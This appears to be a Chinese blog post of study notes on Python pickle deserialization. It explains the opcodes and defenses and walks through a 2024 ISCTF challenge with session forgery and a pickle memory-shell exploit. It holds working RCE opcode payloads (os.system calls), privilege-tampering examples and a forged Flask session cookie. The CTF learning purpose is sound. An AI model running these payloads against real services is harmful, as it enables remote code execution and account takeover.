前言:
第一次碰到,做2024isctf碰到一题pickle反序列化,看wp的时候不是很理解,所以系统性的学习一下
一、pickle模块
简单来说就是通过pickle模块可以将python里的对象以二进制的格式直接写入到一个二进制文件中,pickle模块会创建一个Python语言专用的二进制格式。
二、PVM(Pickle Virtual Machine)
pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM
PVM有三个部分组成:
- 引擎(指令分析器):从头开始读取流中的的操作码和参数,并对其进行处理,在这个过程中改变栈区和Memo,处理结束后到达栈顶,形成并返回反序列化的对象。
- 栈区:作为流数据处理过程中完成数据流的反序列化,并最终在栈上生成序列化的结果
- Memo:数据的一个索引标记opcode
三、序列化与反序列化
与php序列化和反序列化相似,只是php中是serialize
和unserialize
,而pickle中是dump
和loads
- 序列化对象写入文件:
pickle.dump(obj, file, protocol=None, fix_imports=True)
(protocol 为 pickling 的协议版本;fix_imports=True为以二进制的形式序列化) - 序列化对象换为pickle格式的bytes字符串:
pickle.dumps(obj, protocol=None, fix_imports=True)
- 反序列化对象读取文件:
pickle.load(file, fix_imports=True, encoding="ASCII", errors="strict")
(errors=”strict”为默认值。如果在解码过程中遇到任何错误,将会引发一个UnicodeDecodeError异常。) - 反序列化对象将pickle格式的bytes字符串转换为Python的类型:
pickle.loads(bytes_object, fix_imports=True, encoding="ASCII", errors="strict")
1 | import pickle |
1 | import pickle |
1 | import pickle |
打开文件查看可以发现已经写入成功了
1 | import pickle |
1 | import pickle |
只反序列化一次,发现只会得到用户
1 | import pickle |
反序列化两次才会全部得到
四、指令集 opcode
pickle实际上可以看作一种独立的语言,通过对opcode
的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode
灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)
Pickle常见opcode
name | op | params | describe | eg |
---|---|---|---|---|
MARK | ( | null | 向栈顶push一个MARK | |
STOP | . | null | 结束 | |
POP | 0 | null | 丢弃栈顶第一个元素 | |
POP_MARK | 1 | null | 丢弃栈顶到MARK之上的第一个元素 | |
DUP | 2 | null | 在栈顶赋值一次栈顶元素 | |
FLOAT | F | F [float] | push一个float | F1.0 |
INT | I | I [int] | push一个integer | I1 |
NONE | N | null | push一个None | |
REDUCE | R | [callable] [tuple] R | 调用一个callable对象 | crandom\nRandom\n)R |
STRING | S | S [string] | push一个string | S ‘x’ |
UNICODE | V | V [unicode] | push一个unicode string | V ‘x’ |
APPEND | a | [list] [obj] a | 向列表append单个对象 | ]I100\na |
BUILD | b | [obj] [dict] b | 添加实例属性(修改__dict__ ) |
cmodule\nCls\n)R(I1\nI2\ndb |
GLOBAL | c | c [module] [name] | 调用Pickler的find_class ,导入module.name并push到栈顶 |
cos\nsystem\n |
DICT | d | MARK [[k] [v]…] d | 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 | (I0\nI1\nd |
EMPTY_DICT | } | null | push一个空dict | |
APPENDS | e | [list] MARK [obj…] e | 将栈顶MARK以前的元素append到前一个的list | ](I0\ne |
GET | g | g [index] | 从memo获取元素 | g0 |
INST | i | MARK [args…] i [module] [cls] | 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class |
(S’ls’\nios\nsystem\n |
LIST | l | MARK [obj] l | 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 | (I0\nl |
EMPTY_LIST | ] | null | push一个空list | |
OBJ | o | MARK [callable] [args…] o | 同INST,参数获取方式由readline变为stack.pop而已 | (cos\nsystem\nS’ls’\no |
PUT | p | p [index] | 将栈顶元素放入memo | p0 |
SETITEM | s | [dict] [k] [v] s | 设置dict的键值 | }I0\nI1\ns |
TUPLE | t | MARK [obj…] t | 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 | (I0\nI1\nt |
EMPTY_TUPLE | ) | null | push一个空tuple | |
SETITEMS | u | [dict] MARK [[k] [v]…] u | 将栈顶MARK以前的元素弹出update到前一个dict | }(I0\nI1\nu |
关键op:S
、(
、t
、c
、R
、.
- S:后面跟的是字符串
- (:作为命令执行到哪里的一个标记
- t:将从t到标记的全部元素组合成一个元组,然后放入栈中
- c:定义模块名和类名(模块和类名之间使用回车符分隔)
- R:从栈中取出可调用函数以及元组形式的参数来执行,并把结果放回栈中
- .:结束符
分析一下上面我们自己写的代码跑出来的bytes字符串#b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x04TGlu\x94\x8c\x03sex\x94\x8c\x04male\x94\x8c\x03age\x94\x8c\x0220\x94u.'
利用 pickletools 将这里的 opcode 转化成我们更易读的形式
1 | import pickletools |
构造方式:(最好的方式就是手搓)
手搓构造opcode:可以通过一些方式bypass
利用重写类的
object.__reduce__()
函数生成opcode:只能执行单一的函数,很难构造复杂的操作1
2
3
4
5
6
7
8
9
10import pickle
import os
class Test(object):
def __reduce__(self):
return (os.system,('whoami',))
print(pickle.dumps(Test(), protocol=0))
#b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'只需要知道
__import__('os').system(*('whoami',))
的构造即可生成opcodePker工具生成opcode:可以执行复杂的嵌套函数,操作码被限制的特殊情况使用
五、漏洞利用
RCE
基本的poc:
1 | c<module> |
与函数执行相关的三个指令:
R:见上文
1
2
3
4
5
6#GLOBAL('os', 'system')
cos
system #引入os模块中的system方法,将os.system压入栈中
(S'whoami' #把当前栈存到MARK,清空栈,再将'whoami'压入栈中
tR. #t将栈中的值弹出并转为元组,把MARK还原到栈中,元组压入栈中;R的内容system(*('whoami',));.结束
#__import__('os').system(*('ls',))i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
1
2
3
4
5#INST('os', 'system', 'whoami')
(S'whoami'
ios
system
.o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为调用函数,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
1
2
3
4
5#OBJ(GLOBAL('os', 'system'), 'whoami')
(cos
system
S'whoami'
o.
单一命令执行:(当前是windows环境,比较懒没开Ubuntu没在Linux环境里测。whoami可以在windows里运行)
1 | import pickle |
可以看到当前用户,命令执行成功
连续命令执行:(pwd是Linux里的命令这边就不演示了)
1 | import pickle |
操控实例化对象的属性
假设一个用户登入权限的场景(代码并不具有完整功能点,只是根据大致功能假设)
1 | import pickle |
以用户名TGlu登入会传入如下 pickle 序列化内容
1 | import pickle |
用pickletools转化一下
1 | import pickletools |
此时我们只需要将\x89
的false
与\x88
的true
调换一下,即可实现TGlu用户权限变为admin
1 | import pickle |
可以发现此时的TGlu用户的权限已经变为admin了
变量覆盖
1 | //secret.py |
1 | import pickle |
六、pickle防护
1、不在不受信任的通道中传递Pickle序列化对象
2、在传递序列化对象前请进行签名或者加密,防止篡改和重播
3、如果序列化数据存储在磁盘上,确保不受新人的第三方不能修改、覆盖或者重新创建自己的序列化数据
4、Unickler.find_class()来给调用的module和name设置黑白名单
1 | #设置白名单 |
七、例题
2024isctf 新闻系统
一进入靶场就发现个登录界面
下载源码后审计
1 | @app.route("/login", methods=["GET", "POST"]) |
用户名为test密码为test111即可进入news。但是进入后没东西继续审计
但是发现后续的功能点都需要admin用户,且发现源码已经给出了SECRET_KEY=W3l1com_isCTF
那就开始伪造
先解密看看session格式
1 | python3 flask_session_cookie_manager3.py decode -c '.eJyrVsrJT8_Mi08tKsovUrIqKSpN1VEqSCwuLs8vSlGyUipJLS4xNDRU0lEqLkksKS0GCpUWpxYB-SAqLzE3FapIqRYA7_MZ7A.Z2GfiA.VKeH_QpuTOJ9M-bIVEbQQA57BgM' -s 'W3l1com_isCTF' |
加密:
1 | //session |
伪造成功,进入管理员后台(当时做到这里后就不知道咋做了)
接着审计代码(好吧其实找不到漏洞点看wp了)
发现有个pickle反序列化
1 | def add_news(self, serialized_news) -> None: |
手搓构造opcode
先是尝试了一下最基础的命令执行,但是发现命令是执行成功了但是无回显,反弹shell外带也行不通(比赛时可以)
所以就尝试打flask内存马(最近做到太多打内存马的了)
1 | cbuiltins |
但是添加后发现失败,再看源码,发现news_data = base64.b64decode(serialized_news)
所以我们需要对opcode进行base64加密,但是发现还是失败。继续审计可以发现
1 | news = pickle.loads(news_data) |
所以我们需要添加一个实例News,且要保证news的title不存在
构造完整的exp(注意opcode里每行结尾不为空格否则base64加密后是有问题的)
1 | import base64 |
原题有一个反弹shell的非预期解,但是复现靶场的好像已经被修复了(问了波群主),所以也不知道下面这个exp对不对,大佬们可以帮忙看看。
1 | import base64 |
参考资料:
https://xz.aliyun.com/t/11807?time__1311=Cq0xuD07G%3DiQYGX7k7Dn7xcDmoN9%3DKDgDcYD#toc-5
https://xz.aliyun.com/t/7012?time__1311=n4%2BxnD0Dy7it0QYuq05%2BbWNqAKGQzDB0Ze9BhoD#toc-5
https://blog.csdn.net/2301_79700060/article/details/143854365